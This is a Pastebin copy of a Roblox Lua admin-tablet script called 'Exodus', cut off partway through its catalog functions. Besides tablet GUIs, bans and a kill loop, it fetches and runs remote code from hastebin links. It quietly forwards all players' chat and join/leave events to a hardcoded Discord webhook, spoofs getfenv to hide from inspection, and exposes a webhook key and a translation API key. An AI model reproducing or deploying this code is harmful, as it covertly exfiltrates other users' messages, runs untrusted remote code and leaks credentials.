Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print'FOUND! Loading..'
- --https://titanpad.com/ep/pad/export/Irx8VnMuTT/latest?format=txt
- --Ping('Really black',1,'Teal','bas')
- --FUNCTIONS AT LINE 880!
- owner = "Rvsl"
- admins = {'deranged_Joshie','sircfenner','ritg','DelishG',
- 'sircfenner','imtellingmommy','brianush1','WaverlyCole', 'Cracio','IceScripter','Zyrelx','deranged_Scott'}
- scripters={"Rvsl","WaverlyCole","ritg"}
- banlist = {
- ['iListenTo1900sMusic'] = "noob";
- ["Luke_Ames"] = "ugly";
- ["fizzinsoda"] = "skid";
- }
- loopkill= {}
- commands = {}
- commands2 = {}
- prefix = ''
- prefix2 = '/'
- http = game:GetService('HttpService');
- HttpService = http
- adminjson = http:JSONEncode(admins)
- cmds_http = [[http://pandav3rm.tk/cmds.txt]]
- LocalScriptHost = "http://api-ic3.rhcloud.com/"
- ScriptsLoader = loadstring(http:GetAsync([[https://hastebin.com/raw/oziminical.bash]]))()
- players = game:service'Players'
- DSS = game:GetService("DataStoreService")
- DS = DSS:GetGlobalDataStore()
- TS = game:GetService'TeleportService'
- song_playing = false
- disable_local_scripts=false
- disable_server_scripts=false
- bypass=false
- Styles = {
- ['Diamond'] = "https://hastebin.com/raw/diroyaxiru.scala";
- ['Normal'] = "https://hastebin.com/raw/fecemadoni.lua";
- ['Running'] = 'Normal'; --You change the variable to the style you want to run.
- }
- -----------------------------------------------PLUGINS
- plugins = {
- ------------------------TRANSLATOR
- translate = function(s,e,words)
- local language = s..'-'..e
- local msg = words
- local url = "https://translate.yandex.net/api/v1.5/tr.json/translate?key=trnsl.1.1.20140828T102208Z.9a8455fa5eba4401.e24a6890a334cbfb14039ea4846732f7c78d01ae&lang="..language.."&text="..msg
- local stoof = http:JSONDecode(http:GetAsync(url))
- print(stoof['text'][1])
- end;
- -----------------IP DETAILS
- GetIPDetails =function(ip)
- local HttpService = game.HttpService
- local Url = "http://freegeoip.net/json/"..ip
- print(HttpService:GetAsync(Url))
- end;
- --------------MODEL 2 SCRIPT
- m2s = function()
- loadstring(http:GetAsync([[https://hastebin.com/raw/weqepiwiye.lua]]))()
- end;
- ------------GetInstances
- GetInstances = function(x)
- if type(x) == 'table' then
- for i,v in pairs(x) do
- print(tostring(i)..'\t'..tostring(v))
- end
- else
- for i,v in pairs(x:children()) do
- print(tostring(v))
- end
- end
- end;
- ------------RUN LOOPS
- run = function(loops,x)
- for i = 1,loops do
- loadstring(x)()
- end
- end;
- -----------RUNSCRIPT IF PLAYER
- }
- RSPF = function(whozxc,func)
- for i,v in pairs(game:service'Players':children()) do
- if string.find(v.Name:lower(),whozxc:lower()) then
- return func()
- end
- end
- end
- if players:GetNameFromUserIdAsync(game.CreatorId)~='Rvsl' then
- table.insert(admins,players:GetNameFromUserIdAsync(game.CreatorId))
- end
- getfenv = function()
- local fakeEnv = {
- print = print,
- error = error,
- warn = warn
- }
- return fakeEnv
- end
- tab_settings = {
- dismiss_mesh = true;
- other_mesh = true;
- meshId = 'rbxassetid://695187643'; --'rbxassetid://430345282';
- all_font = 'SourceSansLight';
- sound_parent=workspace;
- sound_volume=1;
- speed=.0008;
- lerp_speed=0.5;
- actual_speed=0; --Don't touch this
- sizex=3;
- sizey=3;
- sizez=0;
- scalex=0.018;
- scaley=0.018;
- scalez=0.01;
- --[[
- sizex=3;
- sizey=3;
- sizez=0;
- scalex=0.8;
- scaley=0.4;
- scalez=0.4;
- ]]
- spawnPointX=0;
- spawnPointY=-1;
- spawnPointZ=0;
- material='Neon';
- rot=0.3;
- rot2=0;
- transparency=0;
- theme = [[https://hastebin.com/raw/rutumeroqi.ini]]; --If you have a custom link, you put it inside here. VARIABLE: PartCF
- mainSpawnPoint = 'HumanoidRootPart';
- rots = {
- Normal = false;
- Bouncy = true
- };
- }
- music_script = [[
- AddMusic("Rae Sremmurd - Black Beatles",492272696)
- AddMusic("Meek Mill - Lord Knows",336805821)
- AddMusic("Sweet - Ballroom Blitz",464424535)
- AddMusic("Rae Sremmurd - This Could Be Us",244111886)
- AddMusic("Pumped Up Kicks - Bridge Law (Remix)",495493706)
- AddMusic("David Guetta Bang - My Head - feat Sia Fetty Wap",317275694)
- AddMusic('Desiigner - Panda',401120618)
- AddMusic("I Got the Keys (ft. Jay-Z & Future) - DJ ",446714239)
- AddMusic('My House - Flo Rida',319758951)
- AddMusic('The Weekend - The Hills',281750011)
- AddMusic('Whistle - Flo Rida',291396031)
- AddMusic('Future - Low Life ft. The Weekend',336725246)
- AddMusic('Kid Ink - Promise ft. Fetty Wap',356917026)
- AddMusic('O.T. Genasis x Young Dolph - Cut It',318486515)
- AddMusic('G Eazy - I mean it',219254377)
- AddMusic('Charlie Puth - One Call Away',310948899)
- AddMusic('D.R.A.M. - Broccoli ft. Lil Yachty',466984917)
- AddMusic('D.R.A.M. - Cha Cha',263824541)
- AddMusic('Desiigner - Timmy Turner',469009274)
- AddMusic("Mike Posner - I Took A Pill In Ibiza (Seeb Remix)",415989637)
- AddMusic("Ugly God - Straight Like That ft. Wintertime",435089805)
- AddMusic("Lil Uzi Vert - Erase Your Social",470321629)
- AddMusic("Jeff Kaale (X I X X) - Happy Days (rmx)",481698447)
- AddMusic("The Chainsmokers ft. Halsey - Closer",516050206)
- AddMusic("Charlie Puth ft. Selena Gomez - We don't talk anymore",348494043)
- AddMusic("Dawin - Jumpshot",511898136)
- AddMusic("Twenty One Pilots - Ride",516134477)
- AddMusic("Martin Garrix & Bebe Rexha - In The Name Of Love",467472854)
- AddMusic("Desiigner - Overnight",447672752)
- AddMusic("Rob $tone - Chill Bill",396066454)
- AddMusic("Rae Sremmurd - No Type",396488242)
- AddMusic("Bill Nye - Theme Song (Trap Remix)",500583860)
- AddMusic("XXXTENTACION - Look At Me",638644877)
- AddMusic("Drake - One Dance",399781334)
- AddMusic("Marshmello - Alone",639750143)
- AddMusic("21 Savage - No Heart",483137504)
- AddMusic("Coolio - G Paradise",151706747)
- AddMusic("KYLE - iSpy ft. Lil Yachty",565649306)
- AddMusic("Otis McDonald - What we do here is go back",345868687)
- AddMusic("AWOLNATION - Sail",715008432)
- AddMusic("(Bypassed) Romeo and Juliet vs Bonnie and Clyd. EBR Season 4",187649240)
- AddMusic("Lil Yatchy - Tip Toe (Bass Boosted)",520350889)
- AddMusic("Kali Uchis - Ridin Round ft. Tory Lanez",468867197)
- AddMusic("Eeery - Her",452174505)
- AddMusic('none',0)
- ]]
- ------------------------BYPASS-------------------------
- coroutine.resume(coroutine.create(function()
- if script then
- if bypass == true then
- script.Parent=game
- script.Name='Exodus';
- end
- end
- if tab_settings.theme~='' then
- ThemeSource=HttpService:GetAsync(tab_settings.theme)
- end
- -----------------------SCRIPT DISABLER-------------------------------
- game.DescendantAdded:connect(function(thing)
- pcall(function()
- if disable_local_scripts == true then
- if thing.ClassName=='LocalScript' then
- if thing.Name~='Animate' then
- thing.Disabled=true
- end
- end
- end
- if disable_server_scripts == true then
- if thing.ClassName=='Script' then
- thing.Disabled=true
- end
- end
- end)
- end)
- --------------------------------------------------------------------------
- ------------------DEBUGGER--------------------------------------------------
- for i,v in pairs(game:service'Players':children()) do if v:FindFirstChild('Data') then v.Data:remove() end end
- --[[if game.PlaceId ~=437965235 then]]
- for i,admin in pairs(admins) do
- for i,player in pairs(game:service'Players':children()) do
- if player.Name==admin then
- if not player:FindFirstChild("Data") then
- data=Instance.new("Model",player)
- data.Name='Data'
- page=Instance.new("StringValue",data)
- page.Name='page_number'
- page.Value='1'
- page1=Instance.new("StringValue",data)
- page1.Name='page_number1'
- page1.Value='1'
- end
- end
- end
- end
- game:service'Players'.PlayerAdded:connect(function(player)
- for i,admin in pairs(admins) do
- if player.Name==admin then
- if not player:FindFirstChild("Data") then
- data=Instance.new("Model",player)
- data.Name='Data'
- page=Instance.new("StringValue",data)
- page.Name='page_number'
- page.Value='1'
- page1=Instance.new("StringValue",data)
- page1.Name='page_number1'
- page1.Value='1'
- end
- end
- end
- end)
- wait()
- pcall(function()
- loadstring(http:GetAsync(Styles[Styles['Running']]))()
- end)
- ------------------------DISCORD-------------------------------
- coroutine.resume(coroutine.create(function()
- function PostToHastebin(source)
- local HastebinApiUrl = [[https://hastebin.com/documents]]
- local Link = HttpService:PostAsync(HastebinApiUrl,source);
- warn("http://hastebin.com/raw/"..HttpService:JSONDecode(Link)['key'])
- end
- function sendDiscordMessageChatLog(name,msg,image)
- pcall(function()
- WebhookId = "337639224029347851" --My data
- WebhookKey = "YmNh7hXccsMl3Nl5P9XAutHXZfAnQkarya3q_8wTXxpBs93WpHTHTMYhMRTsykWVjFGr"
- local data = nil
- local config = {username = name,content = msg,avatar_url = image}
- local success,err = pcall(function()
- data = http:JSONEncode(config)
- end)
- if success then
- http:PostAsync("https://discordapp.com/api/webhooks/" .. WebhookId .. "/" .. WebhookKey, data)
- else
- --Error
- end
- end)
- end
- sendDiscordMessageChatLog('Exodus - SERVER >',' ['..game.PlaceId..'] has joined the group chat.')
- for i,v in pairs(game:service'Players':children()) do
- v.Chatted:connect(function(m)
- if not string.find(m:lower(),'http') then
- pcall(function()
- sendDiscordMessageChatLog(v.Name..' > ',m)
- end)
- end
- end)
- end
- game:service'Players'.PlayerAdded:connect(function(plr)
- sendDiscordMessageChatLog('SERVER - ',plr.Name..' has joined the server.')
- plr.Chatted:connect(function(m)
- pcall(function()
- if not string.find(m:lower(),'http') then
- sendDiscordMessageChatLog(plr.Name..' > ',m)
- end
- end)
- end)
- end)
- game:service'Players'.PlayerRemoving:connect(function(plr)
- pcall(function()
- sendDiscordMessageChatLog('SERVER - ',plr.Name..' has left the server.')
- end)
- end)
- end))
- ----------------------------------------------------------------------------------
- for i,x in pairs(workspace.Terrain:children()) do if string.find(x.Name,'Whatever') then
- x:remove()
- end
- end
- for i,x in pairs(workspace.Terrain:children()) do if string.find(x.Name,'Exodus') then
- x:remove()
- end
- end
- admin_model = Instance.new("Model")
- admin_model.Name = 'Whatever'
- music_model = Instance.new("Model",admin_model)
- music_model.Name = 'Music'
- tabs_model=Instance.new("Model",workspace.Terrain)
- tabs_model.Name='Exodus Tablets'
- coroutine.resume(coroutine.create(function()
- for tab_speed = 0,math.huge,1 do wait()
- tab_settings.actual_speed=tab_settings.actual_speed+tab_settings.speed
- for i,v in pairs(loopkill) do
- for i,x in pairs(players:GetPlayers()) do if string.find(x.Name:lower(),v:lower()) then
- pcall(function()
- x.Character:BreakJoints()
- end)
- end
- end
- end
- end
- end))
- coroutine.resume(coroutine.create(function()
- while wait() do
- if not workspace.Terrain:FindFirstChild("Exodus Tablets") then
- tabs_model=tabs_model:clone()
- tabs_model.Parent=workspace.Terrain
- for i,plr in pairs(game:service'Players':children()) do
- local model=Instance.new("Model",tabs_model)
- model.Name='Tabs_'..plr.Name
- model.ChildAdded:connect(function(PartCF)
- pcall(function()
- PartCF.CFrame = plr.Character[tab_settings.mainSpawnPoint].CFrame*CFrame.new(tab_settings.spawnPointX,tab_settings.spawnPointY,tab_settings.spawnPointZ);
- loadstring(tab_settings.theme)()
- end)
- end)
- end
- end
- for bannedWho,banned in pairs(banlist) do
- for i,player in pairs(game:service'Players':children()) do if player.Name==bannedWho then
- pcall(function()
- if player.Name==bannedWho then
- player:kick(banned)
- end;
- end)
- end
- end
- end
- end
- end))
- ---------------------------------W A R N I N G [!]-------------------------------------
- ---------------------------REAL FUNCTIONS START HERE-----------------------------------
- ---------------------------------------------------------------------------------------
- --pcall(function()
- -- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- coroutine.resume(coroutine.create(function()
- for i,plr in pairs(game:service'Players':children()) do
- model=Instance.new("Model",tabs_model)
- model.Name='Tabs_'..plr.Name
- model.ChildAdded:connect(function(PartCF)
- pcall(function()
- PartCF.CFrame = plr.Character[tab_settings.mainSpawnPoint].CFrame*CFrame.new(tab_settings.spawnPointX,tab_settings.spawnPointY,tab_settings.spawnPointZ);
- loadstring(tab_settings.theme)()
- end)
- end)
- end
- players.PlayerRemoving:connect(function(PLYRLEAVING)
- for i,zasd in pairs(tabs_model:children()) do if zasd.Name:sub(#'Tabs_'+1)==PLYRLEAVING.Name then
- zasd:remove()
- end
- end
- end)
- coroutine.resume(coroutine.create(function()
- for i = 0,math.huge,.001 do wait()
- pcall(function()
- pcall(function()
- for i,x in pairs(tabs_model:children()) do
- if game:service'Players':FindFirstChild(x.Name:sub(6)) then
- end
- for i,v in pairs(x:children()) do
- if game:service'Players'[x.Name:sub(6)].Character:FindFirstChild('HumanoidRootPart') then
- pos = CFrame.new(game:service'Players'[x.Name:sub(6)].Character.HumanoidRootPart.Position) * CFrame.Angles(0,tab_settings.actual_speed+math.rad(i/#x:children()*360),0)
- if tab_settings.rots.Bouncy==true then
- v.CFrame = v.CFrame:lerp(pos*CFrame.new(0,math.sin(tick()+i-(tick()/2)),(#x:children()/6+1.3)*3)*CFrame.Angles(tab_settings.rot,tab_settings.rot2,0),tab_settings.lerp_speed)
- end
- if tab_settings.rots.normal==true then
- v.CFrame = v.CFrame:lerp(pos*CFrame.new(0,0,(#x:children()/6+1.3)*3)*CFrame.Angles(tab_settings.rot,tab_settings.rot2,0),tab_settings.lerp_speed)
- end
- end;
- end
- end
- end)
- end)
- end
- end))
- function RealDissmiss(who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- coroutine.resume(coroutine.create(function()
- for i = 0,1,.1 do wait()
- for i,v in pairs(model:children()) do v.Transparency=v.Transparency+.1 end
- end
- model:ClearAllChildren()
- end))
- end
- end
- end
- function RealDissmissWait(who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- for i = 0,1,.1 do wait()
- for i,v in pairs(model:children()) do v.Transparency=v.Transparency+.1 end
- end
- model:ClearAllChildren()
- end
- end
- end
- function Dissmiss(who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- local p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new'Really red'
- p1.CanCollide = false
- p1.Transparency=tab_settings.transparency
- if tab_settings.dismiss_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new('Crimson')
- text1.Text = 'Dismiss'
- text1.Name='Tl'
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- RealDissmiss(who)
- pcall(function()
- who1.Data.page_number.Value=1
- end)
- end
- end)
- end
- end
- end
- function Ping(Color,text,textcolor,who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- pcall(function()
- if #model:GetChildren() < 1 then
- Dissmiss(who)
- end
- end)
- local p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name='Ping'
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new(textcolor)
- text1.Text = tostring(text)
- text1.Name='Tl'
- text1.Font = tab_settings.all_font
- loadstring(ThemeSource)()
- for i,v in pairs(model:children()) do if v.Name=='Ping' then
- if not v:FindFirstChild("ClickDetector") then
- local cd=Instance.new("ClickDetector",v)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- coroutine.resume(coroutine.create(function()
- for i = 0,1,.1 do wait()
- v.Transparency=i
- end
- v:remove()
- end))
- end
- end)
- end
- end
- end;
- end
- end
- end
- function PingPicture(Color,id,who,sizex,sizey,type)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- if #model:GetChildren() < 1 then
- Dissmiss(who)
- end
- local p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name='ImagePing'
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(1.8, 0, 2.8, 0)
- bg.StudsOffset = Vector3.new(-1.4, 4.4, 0)
- local image = Instance.new("ImageLabel", bg)
- image.Size = UDim2.new(sizex, 0, sizey, 0)
- if type:lower() == 'other' then
- image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..id
- end
- if type:lower() == 'avatar' then
- image.Image = 'https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&username='..id
- end
- image.BackgroundTransparency=1
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- coroutine.resume(coroutine.create(function()
- for i = 0,1,.1 do wait()
- p1.Transparency=i
- end
- p1:remove()
- end))
- end
- end)
- end
- end
- end
- function PingPictureText(Color,id,who,text,textcolor,sizex,sizey,type)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- if #model:GetChildren() < 1 then
- Dissmiss(who)
- end
- local p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name='ImagePing'
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(1.8, 0, 2.8, 0)
- if type:lower() == 'avatar' then
- bg.StudsOffset = Vector3.new(-1.4, 4.7, 0)
- else
- bg.StudsOffset = Vector3.new(-1.4, 6, 0)
- end
- local image = Instance.new("ImageLabel", bg)
- image.Size = UDim2.new(sizex, 0, sizey, 0)
- local bg2 = Instance.new("BillboardGui", p1)
- bg2.Adornee = p1
- bg2.Name = "BG"
- bg2.Size = UDim2.new(4, 0, 2.5, 0)
- bg2.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg2)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new(textcolor)
- text1.Text = tostring(text)
- text1.Name='Tl'
- text1.Font = tab_settings.all_font
- if type:lower() == 'other' then
- image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..id
- end
- if type:lower() == 'avatar' then
- image.Image = 'https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&username='..id
- end
- image.BackgroundTransparency=1
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- coroutine.resume(coroutine.create(function()
- for i = 0,1,.1 do wait()
- p1.Transparency=i
- end
- p1:remove()
- end))
- end
- end)
- end
- end
- end
- function ScriptPing(Color,text,textcolor,source,who,name)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- if #model:GetChildren() < 1 then
- Dissmiss(who)
- end
- local p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name=name
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new(textcolor)
- text1.Text = text
- text1.Name='Tl'
- text1.Font = tab_settings.all_font
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- loadstring(source)()
- end
- end)
- end
- end
- end
- function BLAH()
- function PingSong(Color,textcolor,who,keyword)
- RealDissmissWait(who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- if #model:GetChildren() < 1 then
- pcall(function()
- Dissmiss(who)
- end)
- end
- --PingSong(Color,textcolor,who,keyword)
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10"
- Assets = http:JSONDecode(http:GetAsync(Url))
- pcall(function()
- if #Assets<10 then
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10"
- else
- for i,asdaxc in pairs(model:children()) do if asdaxc.Name=='Next' then
- asdaxc:remove()
- end
- end
- coroutine.resume(coroutine.create(function()
- if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10" then
- ScriptPing("Lime green","Next","Lime green",[[ if #Assets>]]..game:service'Players'[who].Data.page_number.Value..[[ then RealDissmissWait(']]..who..[[')
- game:service'Players'[']]..who..[['].Data.page_number.Value=game:service'Players'[']]..who..[['].Data.page_number.Value+1 PingSong(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[') end ]],who,"Next")
- else
- if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage="..#Assets then
- wait(1)
- game:service'Players'[who].Data.page_number.Value=1
- end
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage="..#Assets
- end
- end))
- end
- end)
- for song = 1, #Assets,1 do
- p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = tab_settings.material
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name='Ping'
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new(textcolor)
- text1.Text = Assets[song].Name
- text1.Name='Tl'
- text1.Font=tab_settings.all_font
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- RealDissmissWait(who)
- ScriptPing("Lime green","Play Audio","Lime green",[[ for i,v in pairs(tab_settings.sound_parent:children()) do if v.ClassName=='Sound' then v:Stop() v.Volume=0 v.Pitch=0 v:remove() end end sound=Instance.new("Sound",tab_settings.sound_parent) sound.Looped=true sound.Volume=tab_settings.sound_volume sound.SoundId='rbxassetid://]]..Assets[song].AssetId.."' sound:Play()",who,"ScriptPing")
- if Assets[song].Creator~="" then
- Ping("Really black","Creator: "..Assets[song].Creator,"White",who)
- end
- ScriptPing("Black","Buy Audio","White",[[game:GetService("MarketplaceService"):PromptPurchase(game:service'Players'[']] ..who..[['],]] ..Assets[song].AssetId.. [[)]],who,"ScriptPing")
- Ping("Really black",Assets[song].Name,"White",who)
- Ping("Dark indigo","Id: "..Assets[song].AssetId,"White",who)
- ScriptPing("Teal","Go back","Teal",[[PingSong(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[')]],who,"ScriptPing")
- PingPicture("Deep orange",Assets[song].AssetId,who,2.5,1.3,"other")
- end
- end)
- end
- end
- end
- end
- end
- BLAH()
- function BLAH1()
- function PingHat(Color,textcolor,who,keyword)
- RealDissmissWait(who)
- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
- if #model:GetChildren() < 1 then
- pcall(function()
- Dissmiss(who)
- end)
- end
- --PingHat(Color,textcolor,who,keyword)
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9"
- Assets = http:JSONDecode(http:GetAsync(Url))
- pcall(function()
- if #Assets<10 then
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9"
- else
- for i,asdaxc in pairs(model:children()) do if asdaxc.Name=='Next' then
- asdaxc:remove()
- end
- end
- coroutine.resume(coroutine.create(function()
- if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage=10&Subcategory=9" then
- ScriptPing("Lime green","Next","Lime green",[[ if #Assets>]]..game:service'Players'[who].Data.page_number1.Value..[[ then RealDissmissWait(']]..who..[[')
- game:service'Players'[']]..who..[['].Data.page_number1.Value=game:service'Players'[']]..who..[['].Data.page_number1.Value+1 PingHat(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[') end ]],who,"Next")
- else
- if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage="..#Assets.."&Subcategory=9" then
- wait(1)
- game:service'Players'[who].Data.page_number1.Value=1
- end
- Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=11&PageNumber="..game:service'Players'[who].Data.page_number1.Value.."&ResultsPerPage="..#Assets.."&Subcategory=9"
- end
- end))
- end
- end)
- for Hat = 1, #Assets,1 do
- p1 = Instance.new("Part",model)
- p1.Anchored = true
- p1.FormFactor='Custom'
- p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
- p1.Material = 'Neon'
- p1.BrickColor = BrickColor.new(Color)
- p1.CanCollide = false
- p1.Name='Ping'
- p1.Transparency=tab_settings.transparency
- if tab_settings.other_mesh == true then
- pmesh=Instance.new("SpecialMesh",p1)
